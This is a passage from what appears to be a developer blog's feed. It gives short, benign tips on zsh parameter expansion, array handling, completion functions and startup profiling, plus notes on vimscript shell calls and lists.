&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Padding a string with zsh</title>
    <link href="https://blog.pixelastic.com/2023/04/07/pad-variable-with-zsh/"/>
    <updated>2023-04-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/04/07/pad-variable-with-zsh</id>
    <content type="html">&lt;p&gt;To pad a string with leading spaces in zs, you can use
&lt;code&gt;${(r(15)( ))variableName)&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r(15)&lt;/code&gt; pads on the &lt;code&gt;r&lt;/code&gt;ight (use &lt;code&gt;l&lt;/code&gt; for &lt;code&gt;l&lt;/code&gt;eft padding)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;15&lt;/code&gt; defines the maximum length of the string&lt;/li&gt;
&lt;li&gt;&lt;code&gt;( )&lt;/code&gt; defines the character to use for padding (here, a &lt;code&gt; &lt;/code&gt; space)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Proxy command completion in zsh</title>
    <link href="https://blog.pixelastic.com/2023/04/03/proxy-command-completion-in-zsh/"/>
    <updated>2023-04-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/04/03/proxy-command-completion-in-zsh</id>
    <content type="html">&lt;p&gt;Commands like &lt;code&gt;sudo&lt;/code&gt; take other commands as input and run them in a specific
context. I also have a command similar, called &lt;code&gt;lazyloadNvm&lt;/code&gt; that runs &lt;code&gt;nvm use&lt;/code&gt;
when needed.&lt;/p&gt;
&lt;p&gt;I wanted zsh to suggest completion for the passed commands instead of completion
for the initial command (&lt;code&gt;sudo&lt;/code&gt; or &lt;code&gt;lazyloadNvm&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The solution was to create a &lt;code&gt;_nvm-lazyload&lt;/code&gt; comdef file like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#compdef&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; _nvm-lazyload&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # Remove the first word (lazyloadNvm)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  shift&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; words&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # Update which word is currently being focused for tab completion&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  ((&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; CURRENT&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # Re-run completion with the new input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  _normal&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;shift words&lt;/code&gt; removes the first element of the &lt;code&gt;words&lt;/code&gt; array
(&lt;code&gt;sudo git status&lt;/code&gt; becomes &lt;code&gt;git status&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(( CURRENT-- ))&lt;/code&gt; decreases the index of the word focused by tab completion.
Updating &lt;code&gt;words&lt;/code&gt; doesn&#39;t automatically updates &lt;code&gt;CURRENT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_normal&lt;/code&gt; re-runs the completion functions with the current &lt;code&gt;words&lt;/code&gt; and
&lt;code&gt;CURRENT&lt;/code&gt; context.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Debugging performance issues in zsh</title>
    <link href="https://blog.pixelastic.com/2023/04/03/debugging-performance-issues-in-zsh/"/>
    <updated>2023-04-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/04/03/debugging-performance-issues-in-zsh</id>
    <content type="html">&lt;p&gt;If I add too much code in my &lt;code&gt;.zshrc&lt;/code&gt;, my zsh takes longer to load. As I use a
lot of different terminal windows (splitting one main tmux window), I want those
split to happen quickly. This is why I&#39;m trying very hard to keep the loading
time of zsh under 150ms.&lt;/p&gt;
&lt;h2&gt;Hyperfine&lt;/h2&gt;
&lt;p&gt;One way to evaluate the current loading speed and track potential regressions
and improvement is to use &lt;a href=&quot;https://github.com/sharkdp/hyperfine&quot;&gt;hyperfine&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;hyperfine&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --warmup&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;zsh -i -c exit&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will benchmark how long it will take on average to load zsh. The &lt;code&gt;-i&lt;/code&gt; makes
it load in interactive mode (so, by sourcing &lt;code&gt;~/.zshrc&lt;/code&gt;), and &lt;code&gt;-c exit&lt;/code&gt; makes it
execute the exit command.&lt;/p&gt;
&lt;p&gt;Note that if you have any commands running asynchronously in the background
(like prompt optimization), they will purposefuly not be included in the time.&lt;/p&gt;
&lt;h2&gt;zprof&lt;/h2&gt;
&lt;p&gt;The other debugging tool is to use &lt;code&gt;zprof&lt;/code&gt;, which is the zsh profiler.&lt;/p&gt;
&lt;p&gt;Include &lt;code&gt;zmodload zsh/zprof&lt;/code&gt; at the top of your &lt;code&gt;~/.zshrc&lt;/code&gt; file, and &lt;code&gt;zprof&lt;/code&gt; at
the bottom. Next time you&#39;ll open zsh, you&#39;ll see a table like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;num  calls                time                       self            name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;-----------------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 1)    1         240,22   240,22   65,76%    240,22   240,22   65,76%  oroshi_tools_pyenv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 2)    1          72,98    72,98   19,98%     72,98    72,98   19,98%  oroshi_theming_index&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 3)    1          14,77    14,77    4,04%     14,77    14,77    4,04%  compinit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 4)    1          14,12    14,12    3,86%     14,12    14,12    3,86%  oroshi-completion-styling&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 5)    1           5,85     5,85    1,60%      5,85     5,85    1,60%  oroshi_tools_fzf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 6)    1           4,95     4,95    1,35%      4,95     4,95    1,35%  _zsh_highlight_bind_widgets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 7)    1           4,56     4,56    1,25%      3,01     3,01    0,82%  oroshi_tools_z&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 8)    1           2,27     2,27    0,62%      2,27     2,27    0,62%  _zsh_highlight_load_highlighters&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt; 9)    2           2,17     1,09    0,60%      2,17     1,09    0,60%  promptinit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;10)    1           2,10     2,10    0,58%      2,10     2,10    0,58%  oroshi_tools_ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;11)    7           1,51     0,22    0,41%      1,51     0,22    0,41%  add-zsh-hook&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;12)    7           0,64     0,09    0,17%      0,64     0,09    0,17%  compdef&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;13)    2           0,63     0,31    0,17%      0,63     0,31    0,17%  is-at-least&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;14)    1          14,85    14,85    4,07%      0,09     0,09    0,02%  oroshi_completion_compinit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows where most of the time is spend, the number of times a specific
function is called, and if you scroll down you&#39;ll see details of the stacktrace
of each sub command.&lt;/p&gt;
&lt;p&gt;In this example, it is clear that my &lt;code&gt;oroshi_tools_pyenv&lt;/code&gt; method is too slow,
and I need to optimize it.&lt;/p&gt;
&lt;p&gt;Note that this only tracks the time to run functions, not the time to source
files, so if you need to benchmark a specific sourced file, wrap it in a
function that you invoke immediatly.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Substrings in zsh</title>
    <link href="https://blog.pixelastic.com/2023/03/23/substrings-in-zsh/"/>
    <updated>2023-03-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/03/23/substrings-in-zsh</id>
    <content type="html">&lt;p&gt;To get only parts of a specific string in zsh, you can use the
&lt;code&gt;${var:start:stop}&lt;/code&gt; syntax.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;stop&lt;/code&gt; is omitted, it will cut until the end of the string. You can also pass
negative values.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Path to the current script folder in zsh</title>
    <link href="https://blog.pixelastic.com/2023/03/20/current-script-folder-zsh/"/>
    <updated>2023-03-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/03/20/current-script-folder-zsh</id>
    <content type="html">&lt;p&gt;To get the path of the folder of the script currently running in zsh, use
&lt;code&gt;${0:a:h}&lt;/code&gt;. &lt;code&gt;$0&lt;/code&gt; is the path to the currently running script, &lt;code&gt;a&lt;/code&gt; forces it to
absolute, and &lt;code&gt;h&lt;/code&gt; to keep the head (the folder).&lt;/p&gt;
&lt;p&gt;This is useful when you need to reference scripts that are not in your &lt;code&gt;$PATH&lt;/code&gt;,
but are stored close to your initial script.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to trim a string in zsh</title>
    <link href="https://blog.pixelastic.com/2023/03/03/trim-string-in-zsh/"/>
    <updated>2023-03-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/03/03/trim-string-in-zsh</id>
    <content type="html">&lt;p&gt;Trimming a string means removing any space at the beginning or end of it. It&#39;s
something I need to do often when parsing the output of commands.&lt;/p&gt;
&lt;p&gt;The easiest way I found to do it in zsh is to cast the string into an array, and
back into a string with &lt;code&gt;myvar=&amp;quot;${=myVar}&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;${=}&lt;/code&gt; syntax splits the string as a list of arguments (so, separated by
spaces), and wrapping it in &lt;code&gt;&amp;quot;&amp;quot;&lt;/code&gt; casts it back into a string.&lt;/p&gt;
&lt;p&gt;One could use a similar trick by using &lt;code&gt;echo &amp;quot;   one two three    &amp;quot; | xargs&lt;/code&gt;,
but this would require spawning a new process.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Slicing an array in zsh</title>
    <link href="https://blog.pixelastic.com/2023/03/03/slice-array-zsh/"/>
    <updated>2023-03-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/03/03/slice-array-zsh</id>
    <content type="html">&lt;p&gt;To get only part of a specific array in zsh, you have to use the &lt;code&gt;[@]:X:Y&lt;/code&gt;
syntax, where &lt;code&gt;X&lt;/code&gt; is the start of your slice and &lt;code&gt;Y&lt;/code&gt; the end of it.&lt;/p&gt;
&lt;p&gt;You can omit the &lt;code&gt;Y&lt;/code&gt; or use negative indices.&lt;/p&gt;
&lt;p&gt;For example, &lt;code&gt;${myArray[@]:2}&lt;/code&gt; slices the array by removing its first element&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Check if an array contains a value</title>
    <link href="https://blog.pixelastic.com/2023/03/03/check-if-value-is-in-array-in-zsh/"/>
    <updated>2023-03-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/03/03/check-if-value-is-in-array-in-zsh</id>
    <content type="html">&lt;p&gt;zsh doesn&#39;t have a way to check if a value is in an array, but can tell us
(using &lt;code&gt;${(ie)}&lt;/code&gt;) the index of the element.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;i&lt;/code&gt; means &lt;code&gt;i&lt;/code&gt;nverse subscript, meaning that instead of accessing a value by
its index, we want to access the index by its value.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;e&lt;/code&gt; is for &lt;code&gt;e&lt;/code&gt;xact match; without it zsh will return the index of any value that
contains the substring, instead of exactly matching it.&lt;/p&gt;
&lt;p&gt;The trick is that if the value is not found, zsh will return the
&lt;code&gt;length of the array + 1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So, to summarize, to check if the value &lt;code&gt;zsh&lt;/code&gt; is in the array &lt;code&gt;myArray&lt;/code&gt;, you
would test it that way:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; [[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(ie)zsh&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; -le&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # ${#myArray} return the length of the array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, if the string you&#39;re looking for is dynamic (&lt;code&gt;$myVar&lt;/code&gt;), you&#39;ll
need one more wrapping level: &lt;code&gt;${myArray[(ie)${myVar}]}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Edit: Thanks to Alan for fixing a typo.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Custom completion methods in zsh</title>
    <link href="https://blog.pixelastic.com/2023/02/24/custom-completion-functions-in-zsh/"/>
    <updated>2023-02-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/24/custom-completion-functions-in-zsh</id>
    <content type="html">&lt;p&gt;I needed to define a custom completion function to suggest files when typing
&lt;code&gt;vfa &amp;lt;TAB&amp;gt;&lt;/code&gt;. &lt;code&gt;vfa&lt;/code&gt; is my alias around &lt;code&gt;git-file-add&lt;/code&gt;. I needed it to suggest
modified/added files.&lt;/p&gt;
&lt;h2&gt;Telling zsh about the completion function&lt;/h2&gt;
&lt;p&gt;I started by telling zsh which completion method to call when completion
&lt;code&gt;git-file-add&lt;/code&gt; with this code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;compdef&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; _git-files-dirty&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git-file-add&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The convention in zsh is that completion methods should start with &lt;code&gt;_&lt;/code&gt;, hence
the &lt;code&gt;_git-files-dirty&lt;/code&gt;. I didn&#39;t name if &lt;code&gt;_git-file-add&lt;/code&gt;, because I wanted the
name to reflect what it displayed, not the method it was completing&lt;/p&gt;
&lt;h2&gt;Weaving it together&lt;/h2&gt;
&lt;p&gt;I created a &lt;code&gt;_.git-files-dirty&lt;/code&gt; in my custom zsh config
&lt;code&gt;./config/zsh/completion/compdef&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;I also need to tell zsh about this path, by adding it to its &lt;code&gt;fpath&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that the order here is important:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add the folder to &lt;code&gt;fpath&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;compinit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;compdef&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Writing the completion function&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;_git-files-dirty&lt;/code&gt; file must follow a strict convention for zsh to pick it
up.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It must start with &lt;code&gt;#compdef&lt;/code&gt; on its first line&lt;/li&gt;
&lt;li&gt;It must contain a function named &lt;code&gt;_git-files-dirty&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The core of the function itself is free form, the important thing it need to do
is build an array of the suggestions and store it in a variable&lt;/p&gt;
&lt;p&gt;Once the array if built, it must call
&lt;code&gt;_describe -V &amp;quot;Header name&amp;quot; {variableName}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that it should not pass the variable directly (using &lt;code&gt;$&lt;/code&gt;), but actually
passing the &lt;em&gt;name&lt;/em&gt; of the variable.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;-V&lt;/code&gt; forces the suggestions to be displayed in the exact order they are
saved in the array (otherwise they are alphabetically sorted).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Removing an element from an array in zsh</title>
    <link href="https://blog.pixelastic.com/2023/02/15/remove-element-from-array-in-zsh/"/>
    <updated>2023-02-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/15/remove-element-from-array-in-zsh</id>
    <content type="html">&lt;p&gt;To remove an element from an array at a specific index, you need to set the
value to &lt;code&gt;()&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;one&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; two&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; three&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $myArray&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # one three&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To remove a specific value from an array, we first need to get the index of that
value with the &lt;code&gt;(i)&lt;/code&gt; modifier, and then empty that index.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;one&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; two&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; three&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; indexOfTwo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;two&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$indexOfTwo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $myArray&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # one three&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Or, as a oneliner&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;myArray[$myArray[(i&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)two]]=()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Calling external scripts in the shell in vimscript</title>
    <link href="https://blog.pixelastic.com/2023/02/07/calling-the-shell-in-vimscript/"/>
    <updated>2023-02-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/07/calling-the-shell-in-vimscript</id>
    <content type="html">&lt;p&gt;Some of my vimscripts need to call external commands, through the shell CLI. I
learned some quirks the hard way, and documenting them here&lt;/p&gt;
&lt;h2&gt;The basics&lt;/h2&gt;
&lt;p&gt;Calling an external command is done through &lt;code&gt;system(&#39;external-command&#39;)&lt;/code&gt;. If you
need to pass arguments you must wrap them in &lt;code&gt;shellescape(myArgument)&lt;/code&gt; or it
will mess up spaces and quotes.&lt;/p&gt;
&lt;h2&gt;The quirks&lt;/h2&gt;
&lt;p&gt;If you &lt;code&gt;echom&lt;/code&gt; the result and see it through &lt;code&gt;:messages&lt;/code&gt;, you might see some
&lt;code&gt;^@&lt;/code&gt; weird characters. Those are how vim displays new lines, but not how they
are encoded in the result.&lt;/p&gt;
&lt;p&gt;To split the result on new lines, you should run &lt;code&gt;split(myResult, &amp;quot;&#92;n&amp;quot;)&lt;/code&gt; and not
&lt;code&gt;split(myResult, &#39;^@&#39;)&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Array (List) functions in vimscript</title>
    <link href="https://blog.pixelastic.com/2023/02/07/array-functions-in-vimscript/"/>
    <updated>2023-02-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/02/07/array-functions-in-vimscript</id>
    <content type="html">&lt;p&gt;Vimscript &lt;code&gt;Array&lt;/code&gt;s are called &lt;code&gt;List&lt;/code&gt;s. They have a set of rules and functions
that I&#39;ll document here for my own reference:&lt;/p&gt;
&lt;h2&gt;Basics&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;They are defined with &lt;code&gt;let myArray=[&#39;one&#39;, &#39;two&#39;, &#39;three&#39;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;They are zero-indexed: &lt;code&gt;echo myArray[0]&lt;/code&gt; is &lt;code&gt;one&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;They can be accessed from the end &lt;code&gt;echo myArray[-1]&lt;/code&gt; is &lt;code&gt;three&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;add(myArray, &#39;four&#39;)&lt;/code&gt; adds a new elements. &lt;code&gt;myArray+=[&#39;four&#39;]&lt;/code&gt; also works&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get(myArray, 0, &#39;default value&#39;)&lt;/code&gt; reads a value, with a fallback&lt;/li&gt;
&lt;li&gt;&lt;code&gt;len(myArray)&lt;/code&gt; returns &lt;code&gt;3&lt;/code&gt;&lt;/li&gt;
